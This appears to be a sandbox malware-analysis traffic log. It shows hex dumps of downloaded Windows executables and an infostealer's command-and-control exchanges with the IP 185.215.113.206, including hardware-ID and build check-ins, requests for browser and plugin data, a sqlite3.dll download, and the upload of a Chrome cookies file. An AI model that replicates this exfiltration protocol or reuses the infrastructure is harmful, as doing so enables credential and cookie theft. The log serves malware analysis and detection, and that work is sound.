00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 10 Dec 2024 01:51:18 GMTContent-Type: application/octet-streamContent-Length: 1890304Last-Modified: Tue, 10 Dec 2024 01:22:28 GMTConnection: keep-aliveETag: "675797d4-1cd800"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 ea b9 55 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 dc 03 00 00 b2 00 00 00 00 00 00 00 10 4b 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 4b 00 00 04 00 00 49 a7 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 40 05 00 70 00 00 00 00 30 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 41 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 20 05 00 00 10 00 00 00 42 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 30 05 00 00 04 00 00 00 52 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 40 05 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2b 00 00 50 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 63 6a 7a 6c 77 6b 74 00 60 1a 00 00 a0 30 00 00 58 1a 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 77 62 66 73 75 76 6d 00 10 00 00 00 00 4b 00 00 04 00 00 00 b2 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 4b 00 00 22 00 00 00 b6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 10 Dec 2024 01:51:26 GMTContent-Type: application/octet-streamContent-Length: 1798144Last-Modified: Tue, 10 Dec 2024 01:22:35 GMTConnection: keep-aliveETag: "675797db-1b7000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 00 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 69 00 00 04 00 00 e1 c6 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2a 00 00 c0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 6f 78 77 6d 76 70 6d 00 d0 19 00 00 20 4f 00 00 cc 19 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 72 6f 7a 71 69 6a 67 00 10 00 00 00 f0 68 00 00 04 00 00 00 4a 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 69 00 00 22 00 00 00 4e 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 10 Dec 2024 01:51:35 GMTContent-Type: application/octet-streamContent-Length: 968192Last-Modified: Tue, 10 Dec 2024 01:20:45 GMTConnection: keep-aliveETag: "6757976d-ec600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 65 97 57 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 16 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 0f 00 00 04 00 00 17 28 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 44 5b 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 0e 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 44 5b 01 00 00 40 0d 00 00 5c 01 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 a0 0e 00 00 76 00 00 00 50 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 10 Dec 2024 01:51:42 GMTContent-Type: application/octet-streamContent-Length: 2821120Last-Modified: Tue, 10 Dec 2024 01:21:10 GMTConnection: keep-aliveETag: "67579786-2b0c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 61 14 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 6e 63 6c 6e 6a 71 76 00 c0 2a 00 00 a0 00 00 00 ac 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 75 74 6b 6a 6f 7a 69 00 20 00 00 00 60 2b 00 00 04 00 00 00 e6 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2b 00 00 22 00 00 00 ea 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 10 Dec 2024 01:51:53 GMTContent-Type: application/octet-streamContent-Length: 2821120Last-Modified: Tue, 10 Dec 2024 01:21:12 GMTConnection: keep-aliveETag: "67579788-2b0c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 61 14 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 6e 63 6c 6e 6a 71 76 00 c0 2a 00 00 a0 00 00 00 ac 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 75 74 6b 6a 6f 7a 69 00 20 00 00 00 60 2b 00 00 04 00 00 00 e6 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2b 00 00 22 00 00 00 ea 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJDGIEHCAEHIEBFBKKKHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 49 45 48 43 41 45 48 49 45 42 46 42 4b 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 33 36 36 34 45 38 38 38 32 38 37 32 35 35 36 31 33 34 35 35 39 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 49 45 48 43 41 45 48 49 45 42 46 42 4b 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 49 45 48 43 41 45 48 49 45 42 46 42 4b 4b 4b 2d 2d 0d 0a Data Ascii: ------AKJDGIEHCAEHIEBFBKKKContent-Disposition: form-data; name="hwid"B3664E8882872556134559------AKJDGIEHCAEHIEBFBKKKContent-Disposition: form-data; name="build"stok------AKJDGIEHCAEHIEBFBKKK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBKKKKKFBGDGDHIDBGHHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 31 61 30 65 37 63 32 61 38 38 66 39 66 66 32 61 34 30 39 34 39 35 37 63 66 65 66 63 31 61 65 31 66 33 39 35 31 62 39 32 34 30 30 65 64 66 31 65 62 32 62 30 36 64 34 37 66 64 61 63 63 65 34 36 63 30 33 32 38 39 64 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 2d 2d 0d 0a Data Ascii: ------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="token"11a0e7c2a88f9ff2a4094957cfefc1ae1f3951b92400edf1eb2b06d47fdacce46c03289d------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="message"browsers------IDBKKKKKFBGDGDHIDBGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFIJKKKKKFCAAAAFBKFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 46 49 4a 4b 4b 4b 4b 4b 46 43 41 41 41 41 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 31 61 30 65 37 63 32 61 38 38 66 39 66 66 32 61 34 30 39 34 39 35 37 63 66 65 66 63 31 61 65 31 66 33 39 35 31 62 39 32 34 30 30 65 64 66 31 65 62 32 62 30 36 64 34 37 66 64 61 63 63 65 34 36 63 30 33 32 38 39 64 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 4a 4b 4b 4b 4b 4b 46 43 41 41 41 41 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 4a 4b 4b 4b 4b 4b 46 43 41 41 41 41 46 42 4b 46 2d 2d 0d 0a Data Ascii: ------HCFIJKKKKKFCAAAAFBKFContent-Disposition: form-data; name="token"11a0e7c2a88f9ff2a4094957cfefc1ae1f3951b92400edf1eb2b06d47fdacce46c03289d------HCFIJKKKKKFCAAAAFBKFContent-Disposition: form-data; name="message"plugins------HCFIJKKKKKFCAAAAFBKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAFIEHIEGDHIDGDGHDHJHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 31 61 30 65 37 63 32 61 38 38 66 39 66 66 32 61 34 30 39 34 39 35 37 63 66 65 66 63 31 61 65 31 66 33 39 35 31 62 39 32 34 30 30 65 64 66 31 65 62 32 62 30 36 64 34 37 66 64 61 63 63 65 34 36 63 30 33 32 38 39 64 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 2d 2d 0d 0a Data Ascii: ------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="token"11a0e7c2a88f9ff2a4094957cfefc1ae1f3951b92400edf1eb2b06d47fdacce46c03289d------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="message"fplugins------DAFIEHIEGDHIDGDGHDHJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKEGDAKEHJDHIDHJJDAHost: 185.215.113.206Content-Length: 6827Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDAAFBGDBKJJJKFIIIJJHost: 185.215.113.206Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 31 61 30 65 37 63 32 61 38 38 66 39 66 66 32 61 34 30 39 34 39 35 37 63 66 65 66 63 31 61 65 31 66 33 39 35 31 62 39 32 34 30 30 65 64 66 31 65 62 32 62 30 36 64 34 37 66 64 61 63 63 65 34 36 63 30 33 32 38 39 64 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 